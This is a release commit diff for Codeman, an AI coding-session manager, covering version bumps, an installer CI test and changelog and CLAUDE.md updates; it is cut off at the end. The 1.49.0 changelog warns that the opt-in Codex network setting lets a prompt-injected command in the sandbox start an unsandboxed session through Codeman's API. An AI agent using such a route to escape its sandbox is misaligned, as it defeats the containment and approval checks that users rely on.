chore: version packages

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

.changeset/codex-skill-network.md

@@ -1,5 +0,0 @@
----
-"aicodeman": minor
----
-
-**Codex sessions can drive other sessions through the Codeman skill.** A new opt-in Codex setting, **Allow network access** (App Settings, Codex, off by default), starts Codex with `sandbox_workspace_write.network_access=true`, so the skill's calls to this server are no longer blocked by Codex's sandbox; the sandbox and approval prompts stay on, it applies where Codex runs the folder workspace-write, and it is forced off for users without the privileged-commands grant in multi-user mode. Codex 0.162 and later now also starts with `--no-daemon`, so each session runs its own Codex app server: a shared background server (another version's included) no longer stops a launch on an "incompatible feature settings" dialog, and commands inside Codex see their own session's `CODEMAN_*` variables. Version gates in the CLI registry are now measured against that CLI's own version instead of Claude's. The skill falls back to its `curl` path when `codeman` is not on PATH, and asks Codex to re-run a blocked call with approval instead of giving up.

.claude-plugin/marketplace.json

@@ -10,7 +10,7 @@
       "name": "codeman",
       "source": "./plugins/codeman",
       "description": "Drive Codeman from inside a Claude Code session: spawn worker sessions, prompt them, wait for them, read their answers, clean up. Acts inside a Codeman-managed session; outside one it only reads saved Codex conversations offline.",
-      "version": "1.47.0",
+      "version": "1.49.0",
       "author": {
         "name": "Ark0N",
         "url": "https://github.com/Ark0N"

.github/workflows/ci.yml

@@ -151,6 +151,61 @@ jobs:
             RECONFIGURE=0; parse_flags --port 4001; [[ "$RECONFIGURE" == "1" ]]
             echo "bash $BASH_VERSION: question phase (flags, launch default, occupied :443, rename opt-in, kept password, start line) ok"
           '
+          # No-admin route: the helpers that decide what gets downloaded and whether it is
+          # trusted (the Node.js checksum pick, the tmux digest table, the verify step), the
+          # stop-before-download check, and an archive install plus its replacement, all
+          # in bash 3.2. This image is Alpine, so it is also the one place the musl branch
+          # runs for real: a machine the route cannot serve must stop BEFORE a download.
+          docker run --rm -v "$PWD":/w -w /w -e CODEMAN_INSTALL_SH_LIB=1 -e HOME=/tmp/h bash:3.2 bash -c '
+            set -euo pipefail
+            mkdir -p /tmp/h /tmp/src/Codeman-1/src
+            . /w/install.sh
+            sha=$(printf "%064d" 7)
+            sums=$(printf "%s  node-v22.1.0-linux-x64.tar.gz\nnothex  node-v22.1.0-linux-arm64.tar.gz\n" "$sha")
+            [[ "$(printf "%s\n" "$sums" | pick_node_tarball linux-x64)" == "$sha node-v22.1.0-linux-x64.tar.gz" ]]
+            if printf "%s\n" "$sums" | pick_node_tarball linux-arm64 >/dev/null; then
+              echo "accepted a checksum that is not 64 hex digits" >&2; exit 1
+            fi
+            for p in linux-x86_64 linux-arm64 macos-arm64 macos-x86_64; do
+              d=$(tmux_build_sha256 "$p"); [[ ${#d} -eq 64 ]]
+            done
+            printf codeman > /tmp/f; good=$(sha256_file /tmp/f); [[ ${#good} -eq 64 ]]
+            verify_sha256 /tmp/f "$good"
+            if verify_sha256 /tmp/f "${good%?}x" || verify_sha256 /tmp/f ""; then
+              echo "accepted a wrong or empty checksum" >&2; exit 1
+            fi
+            is_musl_libc
+            NO_ADMIN=1; NONINTERACTIVE=1
+            download() { echo DOWNLOADED; }; download_to_stdout() { echo DOWNLOADED; }
+            check_node() { return 1; }; check_tmux() { return 1; }; check_git() { return 1; }
+            check_build_tools() { return 0; }
+            if out=$( (ask_dependencies_no_admin linux) 2>&1 ); then
+              echo "did not stop on a musl system" >&2; exit 1
+            fi
+            case "$out" in
+              *DOWNLOADED*) echo "downloaded before stopping: $out" >&2; exit 1 ;;
+              *musl*) ;;
+              *) echo "stopped for the wrong reason: $out" >&2; exit 1 ;;
+            esac
+            # An archive install, then its replacement beside it (busybox tar, bash 3.2).
+            printf "{ \"version\": \"1.0.0\" }\n" > /tmp/src/Codeman-1/package.json
+            tar -czf /tmp/one.tar.gz -C /tmp/src Codeman-1
+            printf "{ \"version\": \"2.0.0\" }\n" > /tmp/src/Codeman-1/package.json
+            tar -czf /tmp/two.tar.gz -C /tmp/src Codeman-1
+            INSTALL_DIR=/tmp/h/app; LOG_FILE=/dev/null
+            download() { cp "${1#file://}" "$2"; }; run_step() { shift; "$@"; }
+            CODEMAN_TARBALL_URL=file:///tmp/one.tar.gz; install_or_update_repo >/dev/null 2>&1; finish_source_swap
+            [[ -f "$INSTALL_DIR/$SOURCE_MARKER" && -z "$SOURCE_STAGING" ]]
+            grep -q 1.0.0 "$INSTALL_DIR/package.json"
+            touch "$INSTALL_DIR/from-the-old-build"
+            CODEMAN_TARBALL_URL=file:///tmp/two.tar.gz; install_or_update_repo >/dev/null 2>&1
+            [[ "$SOURCE_STAGING" == "$INSTALL_DIR.new" ]] && grep -q 1.0.0 "$INSTALL_DIR/package.json"
+            finish_source_swap
+            grep -q 2.0.0 "$INSTALL_DIR/package.json"
+            [[ ! -e "$INSTALL_DIR/from-the-old-build" && ! -e "$INSTALL_DIR.new" && ! -e "$INSTALL_DIR.old" ]]
+            NO_ADMIN=""; resolve_admin_mode; [[ "$NO_ADMIN" == "0" ]]
+            echo "bash $BASH_VERSION: no-admin route (checksums, stop before download, archive install and swap) ok"
+          '
 
       - name: CLI catalogue artifacts are in sync with stock.ts
         run: npm run generate:cli-catalog -- --check

CHANGELOG.md

@@ -1,5 +1,80 @@
 # aicodeman
 
+## 1.49.0
+
+### Minor Changes
+
+- 12024cc: ### Thanks
+  - @dignfei for letting Codeman open the tmux sessions you started by hand, on this machine, in a container or over ssh (#510).
+  - @Randalix for the remote launch fix (#770) and the pi wheel fix (#771), both from their own reports (#760, #758), and for Edit history on remote sessions (#766).
+  - @opticon454 for the New folder button in Create New's picker (#761) and for Clone Repo's parent folder (#774).
+  - @shenlvkang-collab for a Files panel scan that no longer lets one folder use up the limit (#614).
+  - @irisitymichaelgrundberg for reporting that the Files panel stayed on the main checkout (#765), and for catching a `.git` open race in the fix.
+  - @maminmsh for reporting right-to-left text in the Response Viewer (#715).
+
+  **Open the tmux sessions you started yourself (#510).** Tmux sessions you started by hand now show up on the home screen under Opened outside Codeman, and one click opens one as a tab, on this machine, in a container or over ssh. Closing the tab only detaches, so the session keeps running. Codeman did not start it, so respawn, Ralph, auto-clear, one-shot prompts and prompt uploads are refused for it, and when the session ends the tab lets go of it. Adoption is admin-only in multi-user mode. The scan runs only while the home screen is in a visible tab. Close adopted tabs before going back to 1.48.0 or older: an older server does not know a tab is adopted and drops all of those guards.
+
+  **Install without administrator rights (#768).** The installer can now finish on an account without admin rights: Node.js and tmux go in your home folder, the source comes as an archive when no working git is available, and `--no-admin` forces this route. An install without git updates by re-running the install line, and Linux still needs make, a C++ compiler and python3.
+
+  **Docker Compose starts in two commands (#573).** `bash docker/Start-Codeman.sh` asks three questions, writes `docker/.env`, starts the container and prints the URL once Codeman answers. It now waits for the server and exits 1 if it does not come up (`--no-wait` skips that). Behaviour change: `Start-Codeman.sh` and `Update-Codeman.sh` refuse to run while `CODEMAN_PASSWORD` is still the example value `changeme`, so a deployment on that value has to set a real password before its next restart.
+
+  **Codex sessions can drive other sessions (#753).** A new opt-in setting, **Allow network access** (App Settings, Codex, off by default), starts new local Codex sessions with `sandbox_workspace_write.network_access=true`, so the Codeman skill's calls reach this server. It has a real cost: commands in Codex's sandbox can then call Codeman's API, which can start a session outside the sandbox with no approval prompt, even with a password set, so the sandbox no longer contains a prompt-injected command. It is forced off without the privileged-commands grant in multi-user mode, scheduled jobs do not use it, and it does not change Codex's sandbox mode. A local Codex 0.162 or later also starts with `--no-daemon`, so a shared background server no longer stops a launch on an "incompatible feature settings" dialog, and commands inside Codex see their own session's `CODEMAN_*` variables. Version gates in the CLI registry are now measured against each CLI's own version.
+
+  **Persian, Arabic and Hebrew read right to left (#715).** In the Response Viewer and the File Viewer's markdown view, each paragraph, heading, list, quote and table takes its direction from its own first letter, so a right-to-left answer lines up on the right while an English paragraph beside it stays left to right. Code blocks, inline code and the file paths the viewer links on its own stay left to right and no longer decide a sentence's direction. The phone's Compose dialog does the same. The terminal pane is unchanged: xterm.js has no right-to-left support yet (xtermjs/xterm.js#701).
+
+  **Edit history for remote sessions (#766).** The Edit history panel now works for remote (SSH) Claude sessions. It reads transcripts over ssh only while the panel is open, keeps the diffs in the same private local store and never wakes a sleeping host. An unreachable host shows the saved edits with the ssh error, and images preview on click rather than as thumbnails.
+
+  **The Files panel follows the agent into a git worktree (#772, #765).** When an agent moves into a worktree part way through a session, the panel lists that worktree, follows the agent back out and shows a strip that names it, with a button to switch to the session's folder. Only a worktree inside the session's folder is followed, and file access stays confined to that folder.
+
+  **One big folder no longer hides the rest (#614).** The Files panel and its search now walk folders in a per-directory round-robin, so one large folder no longer uses up the 5,000-entry limit, and search results come back shallow-first. One listing stops opening folders after reading 250,000 entries. A folder the scan stopped short of, or one that did not answer, no longer looks empty: `GET /api/sessions/:id/files` marks it `incomplete: true` (additive), sets `truncated`, and the panel shows a dim "Not fully scanned" row.
+
+  **Fixes.**
+  - **Remote sessions start when the remote home differs (#770, #760).** New sessions no longer die with `tmux: command not found` (exit 127). The launch line reached the local shell in double quotes, so `$HOME` and `$PATH` expanded on the Codeman host before ssh ran. Launches now reach the far end verbatim, and a remote session starts in the remote user's own shell. Behaviour changes: in a per-host `commands.*` override, `$` now expands on the far end; a bare `$VAR` in a Docker `extraCreateArgs`/`extraExecArgs` value or a remote host's `extraSshOptions` is passed literally, so write the value out. `commands.omp` and `commands.copilot` are accepted now, like every other mode. A csh or tcsh login shell starts without `-i -l`, which tcsh refuses, so it reads `.tcshrc` and not `.login`.
+  - **Remote file reads work on fish, csh and tcsh hosts.** The Files panel, previews and Edit history failed on those login shells, because their reads were parsed by the login shell before `sh` saw them. Every remote file read now crosses it as one word of text. This also ends a case where a file name holding shell syntax ran as a command on those hosts, as the same ssh user the agent runs as.
+  - **The pi mouse wheel survives a tab switch or reload (#771, #758).** pi now takes the same path as Copilot: the server strips the mouse enables and remembers them, and the wheel is forwarded from that record, on the primary pane, tiles, split Pane B and phones. A drag in fullscreen pi now selects text in the browser instead of using pi's own selection, and with Wheel Scrolls Local History on the wheel does nothing there. A pi in `tuiMode: regular` is unaffected.
+  - **Clone Repo's custom folder is a parent now (#774).** The repository lands in `<folder>/<case name>`, as it does with Create New, and the preview shows the joined path. Behaviour change: 1.48.0 cloned straight into the folder you picked, so a name the case-name rule refuses, such as `/mnt/my.repo`, can no longer be reached from the tab. `path` on `POST /api/cases/clone` stays the exact target for scripts and mount points.
+  - **New folder in the Create New and Clone Repo pickers (#761).** You can make the parent folder without leaving the dialog. Asking for one directly in the cases folder is refused, and the refusal points at the right tab.
+  - **Linked cases hold up under concurrent writes (#764).** Every write to `linked-cases.json` is serialized, so two requests can no longer claim one name or lose each other's entry, and a damaged file is refused with a clear error instead of being overwritten, which used to unlink every other case. A local case's rename racing a new link is not covered.
+  - **A session keeps its own home and account variables (#767).** A session that set `CLAUDE_CONFIG_DIR`, `DSH_HOME` or the like keeps it when a custom endpoint selection is cleared or switched, also after a Codeman restart. With its own `CLAUDE_CONFIG_DIR` it keeps both its conversation and its account.
+
+  **Fixes applied while landing.** An adopted session never falls back to a direct terminal when its wrapper cannot start, which would have run a local agent in `/tmp` (#510). Output from a foreign pane, container or ssh host is parsed in linear time, so it cannot stall the server (#510). A `.git` swapped for a FIFO or a symlink is refused at open (#772). A folder listing that does not answer is flagged instead of shown as empty (#614).
+
+  **Docs and tests.** Adoption, the no-admin install, the Compose first run and the new remote shell rows in the guides, wiki and READMEs, new zh-CN strings for the Allow network access warning, and the Playwright bump to 1.64.1 with the browser suite unpinned.
+
+## 1.48.0
+
+### Minor Changes
+
+- 4960bee: ### Thanks
+  - @opticon454 for a big round: the two-way Discord bridge (#741), custom endpoint context limits, Codex and DeepSeek model selection and the model picker (#752, #755, #757), Clone Repo into a custom folder (#744), the New folder button (#745), and the wrapped `.conf` file links (#735).
+  - @Randalix for the Edit history panel (#693).
+  - @aakhter for relative links that follow your `cd` (#740).
+  - @JDProfresh for settings saves that say when they failed (#736), a visible press on the phone keys (#737), and two test harness fixes (#738, #742).
+  - @timkjr for a tab strip that keeps its shape whichever tab is selected (#748).
+  - @Hugo-DDT for the parallel fix to the same wrapped file link bug (#734), whose `Bash(` test rows landed with the guard below.
+
+  **Talk to your agents from Discord (#741).** An opt-in two-way bridge gives each tab its own thread: alerts go out, and a reply from an allowlisted account is typed into that tab. An agent that needs a person can run `codeman notify "<message>" [--urgent] [--file <path>]`, and files travel both ways. Claude learns the command through its system prompt. Setup is in `docs/discord-bridge.md`.
+
+  **Edit history panel (#693).** An opt-in header button (per device, off by default, never on phones) shows every Edit and Write a local Claude session made, subagents included, with each diff inline, plus the images a Bash call produced. It reads transcripts only when the panel asks, and keeps its 0600 per-session store only as long as the session's record.
+
+  **Custom endpoints go further (#752, #755, #757).** OpenCode and Codex now receive the endpoint's context window, Codex launches on the model you picked, and endpoint discovery reads each model's context size from `/v1/models`, with a per-endpoint default for gateways that state none. DeepSeek Harness moves to a per-session home with a generated patch, so it runs the exact model you chose. The model picker gained a search box and marks the model one of your running sessions is using on an endpoint that cannot report it, or says plainly that nothing is known.
+
+  **Clone into a custom folder, and make a folder from the picker (#744, #745).** Clone Repo can clone straight into a folder you pick, empty or not yet created, and registers it as a linked case. The path picker in Link Existing gained a New folder button, so a brand-new project folder no longer means a trip to a shell.
+
+  **Relative links follow your `cd` (#740).** A relative path printed in the terminal now resolves against the directory the session's pane is in, not the folder the session started in. Only the base changes: what can be opened is the same as before. Session state carries it as the new optional `paneCwd` field.
+
+  **Fixes.**
+  - **File links keep the whole name (#735).** `.conf` files and parenthesised paths with spaces link as one file in the terminal and the Response Viewer, and a path wrapped over several rows stays clickable from every row. An ambiguous hard wrap tries the unspaced name first and looks up the spaced one only after a 404, on click, never on hover.
+  - **A failed settings save says so (#736).** Any write the server did not store now reports the reason and keeps App Settings open, where only two kinds of refusal did before. Run mode and respawn preset writes warn too, and a failed tunnel stop no longer claims the tunnel stopped.
+  - **Phone keys show a press (#737).** Every toolbar button, the voice, attach and settings icons and the accessory keys now react on all seven skins.
+  - **The L-shaped tab strip holds its shape (#748).** A too-wide first tab is trimmed to the room beside the toolbar, so the layout no longer changes with the selected tab.
+  - **Credential files stay out of the attachment routes.** `webhook.json`, `custom-model-hosts.json`, the generated custom-model configs and everything under `backups/` could still be read through the attachment routes, which in multi-user mode means by any user. A config backup was the widest gap, since it holds copies of `users.json` and `settings.json`. A custom `configBackupDir` is outside what the blocklist can name, so keep that folder out of reach of other users.
+  - **The OpenCode Console breach notice is retired.** A new install has no record of having seen it, so every new OpenCode user was still being warned about an October incident.
+
+  **Fixes applied while landing.** `codeman notify --file` refuses a credential file such as `.env` or a key under `.ssh`, even inside the tab's own folder, and the Discord bot token cannot be read through the attachment routes (#741). A very wide table cell in an agent's last message no longer stalls the server, and a file sent from Discord is no longer reported as something the agent produced (#741). A `Bash(` row keeps its links, because it holds a command rather than a path, while `Read(` and `Update(` rows link a spaced name whole (#735). A model id the CLI cannot launch is refused before anyone is asked to evict a loaded model, on both the swap route and quick-start (#752). A cases-folder refusal in Clone Repo now points at Clone Repo, and OpenSSL's `SSL_connect` errors classify as unreachable again (#744). Abandoning a tunnel enable records the settings baseline (#736). A session's unreachable `DSH_HOME` is logged when the server's home is linked instead (#755). Clone Repo and New folder no longer risk a hang on a mount that stopped answering (#744, #745).
+
+  **Docs and tests.** Discord setup guide and wiki page, the Edit history and `paneCwd` API sections, the custom endpoint guide, and the architecture notes for the new subsystems. Two Docker and TUI test harnesses now pass under a root runner and on tmux 3.2a (#738, #742).
+
 ## 1.47.0
 
 ### Minor Changes

CLAUDE.md

@@ -52,7 +52,7 @@ Uses [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`) via `@chan
 
 When the user says **COM** (`COM` = patch, `COM minor`, `COM major`): **Read [`docs/releasing.md`](docs/releasing.md) and follow every step in order**; never improvise a release from memory. It covers the changeset, `npm run version-packages`, the `**Version**` line below, the branch check and explicit-path commit, deploy, the getcodeman.com badge, watching BOTH CI workflows, the MCP registry publish, and the Discussions announcement.
 
-**Version**: 1.47.0 (must match `package.json`)
+**Version**: 1.49.0 (must match `package.json`)
 
 ## Project Overview
 
@@ -103,7 +103,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 - **Default bind is loopback-only; non-loopback without a password starts but warns** — the server defaults to `--host 127.0.0.1`. Binding non-loopback (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` starts anyway but prints a loud warning; `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges it. ⚠️ The production systemd unit passes no `--host`, so prod binds **localhost only**: reach it via `tailscale serve`/tunnel to `127.0.0.1`. A loopback bind is reachable through a same-host tunnel but NOT by a browser hitting the box's LAN IP. `install.sh` is separate and prompts for the binding (defaulting to LAN + a password), and preserves the existing binding on re-runs. → [architecture-invariants#default-bind-and-the-non-loopback-warning-path](docs/architecture-invariants.md#default-bind-and-the-non-loopback-warning-path), `docs/security-architecture.md`
 - **Instance isolation / multi-instance attach danger** — the data dir (`~/.codeman`) and tmux socket (`tmux -L codeman`) are PROCESS-WIDE and shared by every Codeman on the machine, derived from `CODEMAN_INSTANCE` via `src/config/instance.ts`. ⚠️ A 2nd instance on the SAME socket **discovers and attaches PTYs to the first instance's live sessions**, resizing and mutating them. `$HOME` isolation is NOT enough because tmux is system-global. To run two instances, give each a distinct `CODEMAN_INSTANCE` (scopes dir + socket together), or set `CODEMAN_TMUX_SOCKET` + `CODEMAN_DATA_DIR` individually; `scripts/run-beta.sh` does this for a beta alongside prod. **Any new `~/.codeman/...` path MUST go through `dataPath()`**, never `join(homedir(), '.codeman', …)`, and **any new `tmux -L` caller through `resolveTmuxSocketName()`** (both in `config/instance.ts`): the TUI shells out to tmux from a second process, and a hardcoded `codeman` there would point a beta instance at prod's panes. → [architecture-invariants#instance-isolation-and-the-multi-instance-attach-danger](docs/architecture-invariants.md#instance-isolation-and-the-multi-instance-attach-danger)
 - **The prefix table on Codeman's socket holds only `<prefix> send-prefix`** — browser tabs are tmux attach clients, and tmux's stock bindings let Ctrl+B `)`/`s` move a tab onto another session. `createSession` resets the table, and `reconcileSessions()` at boot for sessions that survived an upgrade (`src/tmux-prefix-table.ts`); `root` and `C-<letter> detach-client` (the TUI attach's way out) are left alone, so F1 and that alias reach browser tabs for the length of an attach. Alt+1..9 are `if-shell` bindings that `switch-client` only for the TUI's own client (`client_tty` plus a one-shot pid hook), so a browser tab's Esc-then-digit does not move it. Docker and owned-remote nested servers get the same reduction (`C-q send-prefix` only) in their create chain. ⚠️ So `Ctrl+B d` does not exist there: anything attaching a user's terminal claims its own detach key (F1 in `root`, as `codeman tui` and `scripts/tmux-manager.sh` do). → [architecture-invariants#the-prefix-table-on-codemans-socket-holds-only-send-prefix](docs/architecture-invariants.md#the-prefix-table-on-codemans-socket-holds-only-send-prefix)
-- **node-pty's macOS `spawn-helper` ships without `+x`** (issues #6, #204): `node-pty@1.1.0` publishes `prebuilds/darwin-<arch>/spawn-helper` as mode 0644, and macOS launches every PTY through it, so a stock macOS install fails every session start with `Error: posix_spawnp failed.` **Linux can never reproduce it**: `spawn-helper` is an `OS=="mac"` gyp target and node-pty ships no Linux prebuild, so node-gyp always emits an executable helper there. ⚠️ The flip side of that: since Linux has no prebuild, `npm install` **needs a C/C++ toolchain there** (`make`, `g++`, `python3`), so `install.sh` checks for and installs one alongside Node/tmux/git — a stock Ubuntu 24 server has none and died inside node-gyp with `not found: make`. Do not drop that step. ⚠️ Look in **`prebuilds/<platform>-<arch>/`**, not just `build/Release/`, which does not exist on macOS. Repair is a chmod, never a mandatory rebuild (that would require Xcode CLI tools and deletes `prebuilds/` before compiling): `npm run fix:node-pty` chmods every helper then proves it by really opening a PTY. `spawnPtyWithHelperRepair()` (`utils/node-pty-repair.ts`) wraps every `pty.spawn()` in `session.ts` and self-heals a broken install on the first failure. → [architecture-invariants#node-ptys-macos-spawn-helper-must-be-executable](docs/architecture-invariants.md#node-ptys-macos-spawn-helper-must-be-executable)
+- **node-pty's macOS `spawn-helper` ships without `+x`** (issues #6, #204): `node-pty@1.1.0` publishes `prebuilds/darwin-<arch>/spawn-helper` as mode 0644, and macOS launches every PTY through it, so a stock macOS install fails every session start with `Error: posix_spawnp failed.` **Linux can never reproduce it**: `spawn-helper` is an `OS=="mac"` gyp target and node-pty ships no Linux prebuild, so node-gyp always emits an executable helper there. ⚠️ The flip side of that: since Linux has no prebuild, `npm install` **needs a C/C++ toolchain there** (`make`, `g++`, `python3`), so `install.sh` checks for and installs one alongside Node/tmux/git — a stock Ubuntu 24 server has none and died inside node-gyp with `not found: make`. Do not drop that step. (The installer's no-admin route cannot install one, so there it stops before downloading anything and names what is missing.) ⚠️ Look in **`prebuilds/<platform>-<arch>/`**, not just `build/Release/`, which does not exist on macOS. Repair is a chmod, never a mandatory rebuild (that would require Xcode CLI tools and deletes `prebuilds/` before compiling): `npm run fix:node-pty` chmods every helper then proves it by really opening a PTY. `spawnPtyWithHelperRepair()` (`utils/node-pty-repair.ts`) wraps every `pty.spawn()` in `session.ts` and self-heals a broken install on the first failure. → [architecture-invariants#node-ptys-macos-spawn-helper-must-be-executable](docs/architecture-invariants.md#node-ptys-macos-spawn-helper-must-be-executable)
 - **User-chosen paths are probed BOUNDED, never with `existsSync`/`statSync`** (#516): a linked case or a `workingDir` can sit on a network mount that stopped answering. A synchronous check there freezes the whole server, and an unbounded async `stat`/`lstat`/`readFile` holds one of libuv's threadpool workers (4 by default, shared with every `fs`, `dns.lookup` and `crypto` call) until the mount returns. On a request or spawn path use `probePath()`/`probePathKind()` (`utils/bounded-path-probe.ts`, read its `@fileoverview`). ⚠️ `unknown` is NEVER `absent`: nothing is created, scaffolded or 404'd on it. Bulk scans keep the stall cap; a request for ONE path the user named may pass `{ pastCap: true }`, which still stops at the ceiling that keeps one worker free; and a helper that would otherwise touch the path skips whatever is still `unknown`. User-facing errors for it go through `describeUnknownPath()`, so a refused probe is not reported as a broken folder.
 - **Headless screenshots: `deviceScaleFactor` MUST be 1, and write unique filenames** — under DSF=2 xterm's WebGL renderer draws glyphs at ~2× nominal size while still *reporting* nominal cell dims, so only the pixels reveal it and only the terminal font looks wrong. And overwriting a fixed output path leaves OS image viewers showing the old render, which reads as "the fix didn't work"; `scripts/capture-real-overview.mjs` mints a timestamped filename per run. Seed the per-device `localStorage` keys (`codeman:skin`, `codeman-font-size`, `codeman-app-settings`) so the capture matches a real device. → [architecture-invariants#headless-screenshot-capture](docs/architecture-invariants.md#headless-screenshot-capture)
 
@@ -127,10 +127,12 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Input**: `session.writeViaMux()` for programmatic/curl input via one tmux bracketed paste (`paste-buffer -p`) + `send-keys Enter`; a multi-line prompt keeps its line breaks inside that paste. A single character is typed with `send-keys -l` instead, because selection dialogs ignore a pasted digit. Interactive **browser** input goes through a durable **exactly-once** layer: a stable `clientId` + monotonic per-session `seq` persisted to localStorage until the server ACKs, so a dropped link cannot lose or double-deliver a prompt. `ws-connection-registry.ts` supersedes only same-TAB reconnects, so two tabs on one session coexist. → [architecture-invariants#input-delivery-and-ws-resilience](docs/architecture-invariants.md#input-delivery-and-ws-resilience)
 
-**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, default OFF, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
+**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY, and never for an adopted session (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, default OFF, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
 
 **Agent CLI (`codeman agent …`, `src/cli-agent.ts`)**: the command-line client for the wait primitives and the session verbs, for agents the skill does not reach (pi, shell, no `jq`; `seedAgentSessionPreamble` covers every local session whose CLI takes the skill, `capabilities.agentSkillDir`; every pane still exports `CODEMAN_MUX`/`CODEMAN_SESSION_ID`/`CODEMAN_API_URL`). It is an HTTP CLIENT: inspection and guarded stage/submit use the ownership-checked `agent-session-routes.ts` module (experimental, behind `agentCoordinationEnabled`, SYNCED, default OFF: all three routes answer `403 FORBIDDEN` naming it while off, and the CLI shows that verbatim); the other verbs reuse existing routes, with no second transport (the plan's "Socket API" non-goal stands), every call carries `X-Codeman-Parent-Session`, only `spawn`'s quick-start carries `X-Codeman-Agent-Origin` (pinned in test/cli-agent.test.ts), while `spawn` without a case (cwd or `--working-dir`) is `POST /api/v1/sessions` plus `/interactive` or `/shell` without that header, so no agent-case marker, and refuses (exit 4, before any request) an empty `--working-dir` and a bare spawn from a HOME cwd, since it always sends an explicit `workingDir` and the server's no-`workingDir` hooks skip cannot apply (test/cli-agent-project-spawn.test.ts), auth (`src/codeman-credentials.ts`, shared with `codeman attach` and the TUI) from `CODEMAN_PASSWORD` or the data dir's `.env` (the same reader `codeman attach` uses — `readCodemanEnvFile`). Verbs return exit codes (`0` ok / `1` error / `2` timeout / `3` exited / `4` refused) instead of calling `process.exit`, so `test/cli-agent.test.ts` drives every verb against a recording fake transport plus the real `httpRequest` against a local server. ⚠️ Three guards live in code, not prose, and the tests pin them: refuse without `CODEMAN_MUX=1`+`CODEMAN_API_URL` (never guess a URL); `send` transmits printable text + `\r` only (`inputRefusal`: any byte < 0x20 or DEL refuses BEFORE the transport — opencode's `Ctrl+C` is `app_exit`), ESC exists solely as `interrupt` with no `\r`; `rm` fails closed (`deleteRefusal`: empty id, self shorter than 8, prefix match in EITHER direction, re-checked on the resolved id). ⚠️ The routes accept FULL ids only — an 8-char prefix is a 404 (measured live) — while `ls` prints prefixes, so `resolveSessionId` maps a short id through `GET /api/v1/sessions` and refuses an ambiguous one. It also refuses any id under 8 characters (exit 4, on every verb, before any request), the same floor as the server's `PARENT_SESSION_ID_MIN_PREFIX`, so `rm 9` can never pick an arbitrary session. ⚠️ A 400 for `--until stop` on a hook-less mode is passed through verbatim, never papered over: the marker path is the answer there. `spawn` on a readiness timeout exits 2 and LEAVES the session for inspection (the skill's `spawn_worker` deletes it; the CLI's caller is often a human); its stdout is the id ALONE (prose on stderr) so `SID=$(…)` works. ⚠️ Two server answers that look like success and are not: `delivered:false` without `duplicate` (the bytes went into a dead pane — the field exists so a client says "restart" instead of "wait longer") and `wait.ended:true, signal:null` (the worker died during a `stop`/`idle` wait: the registry satisfies only waiters that listed `exit`, then cancels the rest) — both exit 3, checked BEFORE the happy paths in `waitExitCode`. → README "`codeman agent`", `docs/api-reference.md`
 
+**Discord bridge (`src/discord-bridge.ts`, `src/web/routes/discord-routes.ts`, `src/cli-notify.ts`)**: opt-in two-way Discord (a bot, not the one-way webhook), one thread per tab. Split like `webhook-notify.ts`: pure helpers, a 0600 store (`discord.json` holds the bot token, is never returned by these routes and is on the sensitive-path list; `discord-bridge.json` maps sessionId to thread id), then IO (`DiscordApi` REST with injected fetch, `DiscordGateway` inbound WebSocket with injected socket, `DiscordBridge` rules). Outbound hangs off `WebServer.sendPushNotifications` beside the webhook (so it works with zero push subscriptions) and tab events off `WebServer.broadcast` (`bridgeSessionEvent`); a finished turn (Claude's idle and stop hooks, DeepSeek's stop; the other CLIs raise no turn end, so theirs arrive with an error, a blocked respawn, a crash loop or `codeman notify`) or an error posts the CLI's WHOLE last message as markdown, read from its transcript through the response viewer's reader (`WebServer.lastResponseFor`, set by the session routes: the CLI's own transcript, or the pane segmented into turns for the CLIs that keep none; never for a shell), split over posts of at most 1900 characters and not posted twice (keyed on the text plus its turn, recorded only after the first post succeeds), while a dialog and every CLI without a transcript 